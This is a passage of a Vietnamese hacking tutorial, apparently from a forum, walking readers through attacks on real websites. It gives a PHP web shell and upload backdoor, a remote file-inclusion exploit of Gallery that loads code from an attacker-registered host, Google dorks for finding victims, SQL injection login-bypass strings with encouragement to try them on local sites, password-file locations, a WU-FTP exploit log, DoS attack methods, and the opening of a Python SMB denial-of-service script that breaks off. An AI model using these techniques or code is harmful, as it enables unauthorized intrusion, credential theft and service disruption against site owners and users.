"/admin hay /advadmin hay /hosting"

ta hãy đánh từ khoá :

allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting

Nó sẽ liệt kê ra các trang Web có URL dạng :

http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting

VD với forum UBB có đoạn đặc trưng

"cgi-bin/ultimatebb.cgi?"

Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin
cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các
bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject):

_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng
PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã
PHP cho phép ta upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký
ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau
:

CODE
<?php
global $PHP_SELF;
echo "<html><body>
<form method=post action=$PHP_SELF?$QUERY_STRING>
<input type=text name=shell size=40>
<input type=hidden name=act value=shell>
<input type=submit value=Go name=sm>
</form>";
set_magic_quotes_runtime(1);
if ($act == "shell") {
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
system($shell);
echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";}
echo "</body></html>";
?>


Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã )
và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy
upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã
khác , bạn quên upload file này lên là tiêu )

Bạn hãy tạo thêm một file PHP với mã sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$filename = $_FILES['userfile']['tmp_name'];
print "$filename was uploaded successfuly";
$realname = $_FILES['userfile']['name'];
print "realname is $realname\n";
print "copying file to uploads dir ".$realname;
copy($_FILES['userfile']['tmp_name'],*PATH*.$realname); // lưu ý *PATH* chúng ta sẽ thay
đổi sau

} else {
echo "Possible file upload attack: filename".$_FILES['userfile']['name'].".";
}
}
if ($act == "upload") {
handleupload();
}
echo "<html><body>
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING>
File:<INPUT TYPE=FILE NAME=userfile SIZE=35>
<input type=hidden name=MAX_FILE_SIZE value=1000000>
<input type=hidden name=act value=upload>
<input type=submit value=Upload name=sm>
</form>
</body></html>";
?>


Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn
nhân .
_ Tiếp theo Bạn vào Google, gõ "Powered by gallery" rồi enter, Google sẽ liệt kê một
đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI
dùng link sau để thử xem nó còn mắc lỗI Gallery hay không :

http://<tên trang Web của nạn
nhân>/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/<tên host bạn vừa
đăng ký>/

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải
của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy
được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô
chữ nhật đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối
đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy
nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn
tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó .
Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà
ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư
mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó
bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi
hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì
đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng
của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như
config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những
hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định
được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc
chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web
đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục
“loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức
mà ta upload lên sẽ là :

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như
mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”.
Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là
“” ( 2 dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được
rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :

http://<tên trang Web của nạn
nhân>/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/<tên trang Host bạn
đã tạo từ đầu>/

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2
nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn
dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của
bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên
trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường
hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như
lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) ,
nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ.
Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ :
“Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào
sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .

31 . ) Gói tin TCP/IP là gì?

TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP
là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến
một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các
gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin.
Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một
người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều
hệ thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương
trình cho phép bạn làm điều này.

32 . ) Linux là gi`:

_Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HĐH. Nhân là 1 phần mềm đảm
trách chức vụ liên lạc giữa các chương trình ứng dụng máy tính và phần
cứng. Cung cấp các chứng năng như: quản lý file, quản lý bộ nhớ ảo, các
thiết bị nhập xuất nhưng ổ cứng, màn hình, bàn phím, .... Nhưng Nhân Linux chưa
phải là 1 HĐH, vì thế nên Nhân Linux cần phải liên kết với những chương
trình ứng dụng được viết bởi tổ chức GNU tạo lên 1 HĐH hoàn chỉnh: HĐH
Linux. Đây cũng là lý do tại sao chúng ta thấy GNU/Linux khi được nhắc đến
Linux.
Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm này ( Nhân và
Chương trình ứng dụng ) sau đó sửa chữa một số cấu hình để mang đặc
trưng của công ty/ tổ chức mình và làm thêm phần cài đặt ( Installation Process )
cho bộ Linux đó, chúng ta có : Distribution. Các Distribution khác nhau ở số lượng
và loại Software được đóng gói cũng như quá trình cài đặt, và các phiên bản
của Nhân. 1 số Distribution lớn hiện nay của Linux là : Debian, Redhat, Mandrake,
SlackWare, Suse .

33 . ) Các lệnh căn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống
Linux :

_ Lệnh " man" : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới
lệnh nay :
Cấu trúc lệnh : $ man .
Ví dụ : $ man man
_ Lệnh " uname ": cho ta biết các thông tin cơ bản về hệ thống
Ví dụ : $uname -a ; nó sẽ đưa ra thông tin sau :

Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown

_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại )

_ Lệnh w : xem các user đang login và action của họ trên hệ thống .
Ví Dụ : $w nó sẽ đưa ra thông tin sau :

10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00

_ Lệnh ps: xem thông tin các process trên hệ thống
Ví dụ : $ps axuw
_ Lệnh cd : bạn muốn di chuyển đến thư mục nào . phải nhờ đến lệnh này .

Ví du : $ cd /usr/bin ----> nó sẽ đưa bạn đến thư mục bin
_ Lệnh mkdir : tạo 1 thư mục .
Ví dụ : $ mkdir /home/convit ---> nó sẽ tạo 1 thư mục convit trong /home
_ Lệnh rmdir : gỡ bỏ thư mục
Ví dụ : $ rmdir /home/conga ----> nó sẽ gỡ bỏ thư mục conga trong /home .
_ Lệnh ls: liệt kê nội dung thư mục
Ví dụ : $ls -laR /
_ Lệnh printf: in dữ liệu có định dạng, giống như sử dựng printf() của C++ .

Ví dụ : $printf %s "\x41\x41\x41\x41"
_ Lệnh pwd: đưa ra thư mục hiện hành
Ví dụ : $pwd ------> nó sẽ cho ta biết vị trí hiện thời của ta ở đâu :
/home/level1
_ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file
Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----->nó sẽ del file blah .
Làm tương tự đối với các lệnh cp , mv .
_ Lệnh find : tìm kiếm file, thư mục
Ví dụ : $find / -user level2
_ Lệnh grep: công cụ tìm kiếm, cách sử dụng đơn giản nhất : grep "something"
Vidu : $ps axuw | grep "level1"
_ Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm
các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm
thấy cả password nữa
VD: $strings /usr/bin/level1
_ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để
theo dõi flow của chương trình, cách nhanh nhất để xác định chương trình bị
lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace
.
Ví dụ : $strace /usr/bin/level1
_ Lệnh" cat, more ": in nội dung file ra màn hình

$cat /etc/passwd | more --> nó sẽ đưa ra nội dung file passwd một cách nhanh nhất .
$more /etc/passwd ----> Nó sẽ đưa ra nội dung file passwd một cách từ từ .

_ Lệnh hexdump : in ra các giá trị tương ứng theo ascii, hex, octal, decimal của dữ
liệu nhập vào .
Ví dụ : $echo AAAA | hexdump
_ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug .
Ví dụ : $gcc -o -g bof bof.c
Ví dụ : $make bof
Ví dụ : $gdb level1
(gdb) break main
(gdb) run
_ Lệnh perl: một ngôn ngữ
Ví dụ : $perl -e 'print "A"x1024' | ./bufferoverflow ( Lỗi tràn bộ đệm khi ta đánh
vào 1024 kí tự )
_ Lệnh "bash" : đã đến lúc tự động hoá các tác vụ của bạn bằng shell
script, cực mạnh và linh hoạt .
Bạn muốn tìm hiểu về bash , xem nó như thế nào :
$man bash
_ Lệnh ls : Xem nội dung thư mục ( Liệt kê file trong thư mục ) .
Ví Dụ : $ ls /home ----> sẽ hiện toàn bộ file trong thư mục Home
$ ls -a -----> hiện toàn bộ file , bao gồm cả file ẩn
$ ls -l -----> đưa ra thông tin về các file
_ Lệnh ghi dữ liệu đầu ra vào 1 file :
Vídụ : $ ls /urs/bin > ~/convoi ------> ghi dữ liệu hiển thị thông tin của thư mục
bin vào 1 file convoi .

34 . ) Những hiểu biết cơ bản xung quanh Linux :

a . ) Một vài thư mục quan trọng trên server :

_ /home : nơi lưu giữ các file người sử dụng ( VD : người đăng nhập hệ thống
có tên là convit thì sẽ có 1 thư mục là /home/convit )
_ /bin : Nơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn .
_ /usr/bin : Nơi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi người sử
dụng đặc biệt và dùng quản trị hệ thống .
_ /bot : Nơi mà kernel và các file khác được dùng khi khởi động .
_ /ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây là
nơi trọng yếu mà chúng ta cần khai thác nhiều nhất )
_ /var : Các file quản trị
_ /usr/lib : Các thư viện chuẩn như libc.a
_ /usr/src : Vị trí nguồn của các chương trình .

b . ) Vị trí file chứa passwd của một số phiên bản khác nhau :

CODE
AIX 3 /etc/security/passwd !/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *


35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server :

_ WU-FTP Server (được phát triển bởi đại Học Washington ) là một phần mềm
Server phục vụ FTP được dùng khá phổ biến trên các hệ thống Unix & Linux (
tất cả các nhà phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và cả
Windows.... , các hacker có thể thực thi các câu lệnh của mình từ xa thông qua file
globbing bằng cách ghi đè lên file có trên hệ thống .
_ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải hội đủ
những điều kiện sau :
+ Phải có account trên server .
+ Phải đặt được Shellcode vào trong bộ nhớ Process của Server .
+ Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc biệt mà
không bị server phát hiện có lỗi .
+ Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể nó sẽ được
thực thi bới chính Server FTP .
_ Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP :

CODE
ftp> open localhost <== lệnh mở trang bị lỗi .
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready <== xâm nhập thành công FTP server .
Name (localhost:root): anonymous <== Nhập tên chỗ này
331 Guest login ok, send your complete e-mail address as password.
Password:………..<== nhập mật khẩu ở đây
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files. <== sử dụng biến nhị phân để chuyển đổi file
.
ftp> ls ~{ <== lệnh liệt kê thư mục hiện hành .
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection
1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21
.
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd:
sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd .
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c


Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công ( chẳng biết
làm sai chỗ nào ) . Vậy bạn nào làm được hãy post lên cho anh em biết nhé .
Lỗi Linux hiện nay rất ít ( đặc biệt là đối với Redhat ), các bạn hãy chờ
đợi nếu có lỗi gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay . Khai
thác chúng như thế nào thì hỏi Mod quản lý bên đó , đặc biệt là bạn Leonhart
, cậu ta siêng trả lời các bạn lắm .

( Dựa theo bài viết của huynh Binhnx2000 )

36 . ) Tìm hiểu về SQL Injection :

_ SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện
nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng
dụng web xử lí, bạn có thể login mà không cần username và password, thi hành lệnh
từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng để tấn công
là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx,
...
_ Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ tìm
kiếm để kiếm các trang cho phép submit dữ liệu . Một số trang Web chuyển tham
số qua các khu vực ẩn nên bạn phảI viewsource mớI thấy được . VD ta xác
định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta đã
viewsource :

CODE
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>


_ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và
pass lân lượt như sau :

- Login: hi' or 1=1--
- Pass: hi' or 1=1--

Nếu không được bạn thử tiếp với các login và pass sau :

CODE
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a


Nếu thành công, bạn có thể login vào mà không cần phải biết username và password
.
Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ
liệu có thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên trình
duyệt của các bạn . Nếu các bạn muốn tìm hiểu kỹ càng hơn về lỗi này có
thể tìm các bài viết của nhóm vicky để tìm hiểu thêm .

37 . ) Một VD về hack Web thông qua lỗi admentor ( Một dạng của lỗi SQL Injection )
:

_ Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khoá “allinurl :
admentor” .
_ Thông thường bạn sẽ có kết quả sau :

http://www.someserver.com/admentor/admin/admin.asp

_ Bạn thử nhập “ ' or ''=' ” vào login và password :

CODE
Login : ' or ''='
Password : ' or ''='


_ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin .
_ Ta hãy tìm hiểu về cách fix lỗi này nhé :
+ Lọc các ký tự đặc biệt như “ ' " ~ \ ” bằng cách chêm vào javascrip đoạn
mã sau :

CODE
function RemoveBad(strTemp)
{
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|
\-/g,"");
return strTemp;
}


+ Và gọi nó từ bên trong của asp script :

CODE
var login = var TempStr = RemoveBad
(Request.QueryString("login"));
var password = var TempStr = RemoveBad
(Request.QueryString("password"));


_ Vậy là ta đã fix xong lỗi .
_ Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu ,
các bạn hãy test thử xem đi , các trang Web ở Việt Nam mình bị nhiều lắm , tôi
đã kiếm được kha khá pass admin bằng cách thử này rồi ( nhưng cũng đã báo
để họ fix lại ) .
_ Có nhiều trang khi login không phải bằng “ ' or ''=’ ” mà bằng các nick name
có thật đã đăng ký trên trang Web đó , ta vào link “thành viên” kiếm nick của
một admin để test thử nhé .

38 . ) DoS attack là gì ? ( Denial Of Services Attack )

_ DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi
hại , với loại tấn công này , bạn chỉ cần một máy tính kết nối Internet là
đã có thể thực hiện việc tấn công được máy tính của đốI phương . thực
chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên
server ( tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng, ... ) làm
cho server không thể nào đáp ứng các yêu cầu từ các máy của nguời khác ( máy
của những người dùng bình thường ) và server có thể nhanh chóng bị ngừng
hoạt động, crash hoặc reboot .

39 . ) Các loại DoS attack hiện đang được biết đến và sử dụng :

a . ) Winnuke :

_DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x .
Hacker sẽ gởi các gói tin với dữ liệu "Out of Band" đến cổng 139 của máy tính
đích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có
cờ Out of Band được bật ) . Khi máy tính của victim nhận được gói tin này,
một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương
trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng
với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash .

b . ) Ping of Death :

_ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích thước lớn
thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo .
_ VD : ping –l 65000

c . ) Teardrop :

_ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ thống
nguồn đến hệ thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ
được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có
một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói
dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống
đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ
tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống
đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống
đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển
được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói
packets với giá trị offset chồng chéo lên nhau quá lớn !

d . ) SYN Attack :

_ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với
địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets
này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận
thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không
có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các "request"
chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng kể bộ nhớ trên
máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin
phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa
chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc
boot máy tính . == > ném đá dấu tay .

e . ) Land Attack :

_ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các địa chỉ ip
không có thực, hacker sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều
này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó,
giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi
thông tin phản hồi đó đi cả . == > Gậy ông đập lưng ông .

f . ) Smurf Attack :

_Trong Smurf Attack, cần có ba thành phần: hacker (người ra lệnh tấn công), mạng
khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ
gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc
biệt là các gói tin ICMP packets này có địa chỉ ip nguồn chính là địa chỉ ip
của nạn nhân . Khi các packets đó đến được địa chỉ broadcast của mạng
khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn
nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ
thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ
không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị
ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi một lượng nhỏ
các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại
lượng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào
số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các hacker là cố
chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp
các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các
đầu ra của gói tin . Có được các hệ thống này, hacker sẽ dễ dàng tiến hành
Smurf Attack trên các hệ thống cần tấn công . == > một máy làm chẳng si nhê ,
chục máy chụm lại ta đành chào thua .

g . ) UDP Flooding :

_ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ
làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao
thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa chỉ loopback (
127.0.0.1 ) , rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP echo
( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1( chính nó
) gởi đến , kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có
nhiều hệ thống không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một
địa chỉ ip của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập
lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này không thành công
thì chính máy của bạn sẽ bị đấy .

h . ) Tấn công DNS :

_ Hacker có thể đổi một lối vào trên Domain Name Server của hệ thống nạn nhân
rồi cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cầu DNS phân
tích địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS ( đã bị hacker thay
đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip mà hacker đã cho chỉ đến
đó . Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào
trang Web do chính hacker tạo ra . Một cách tấn công từ chối dịch vụ thật hữu
hiệu !.

g . ) Distributed DoS Attacks ( DDos ) :

_ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ
cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các
hệ thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến
thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó
đồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS đến hệ
thống nạn nhân .

h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) :

_ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối
phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn
công bằng nhiều máy tính thì ngườI tấn công chỉ cần dùng một máy tấn công
thông qua các server lớn trên thế giới . Vẫn với phương pháp giả mạo địa
chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất
, nhanh nhất và có đường truyền rộng nhất như Yahoo .v.v… , các server này sẽ
phản hồi các gói tin đó đến địa chỉ của victim . Việc cùng một lúc nhận
được nhiều gói tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn
đường truyền của máy tính nạn nhân và làm crash , reboot máy tính đó . Cách
tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn giản
với đường truyền bình thường cũng có thể đánh bật được hệ thống có
đường truyền tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web
HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy .

40 . ) Kỹ thuật DoS Web bằng Python :

_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có
thời gian thì máy tính của nạn nhân mới bị down được .
_ Bạn hãy download Pyphon tại http://www.python.org/ để sử dụng .
_ Bạn hãy save đoạn mã sau lên file rfpoison.py .

CODE
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), '')
return data
def b2a(s):
bytes = map(lambda x: '%.2x' % x, map(ord, s))
return string.join(bytes, ' ')

# Yêu cầu tập hợp NBSS
nbss_session = a2b("""
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
""")

# Tạo SMB
crud = (
# Yêu cầu SMBnegprot
"""
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
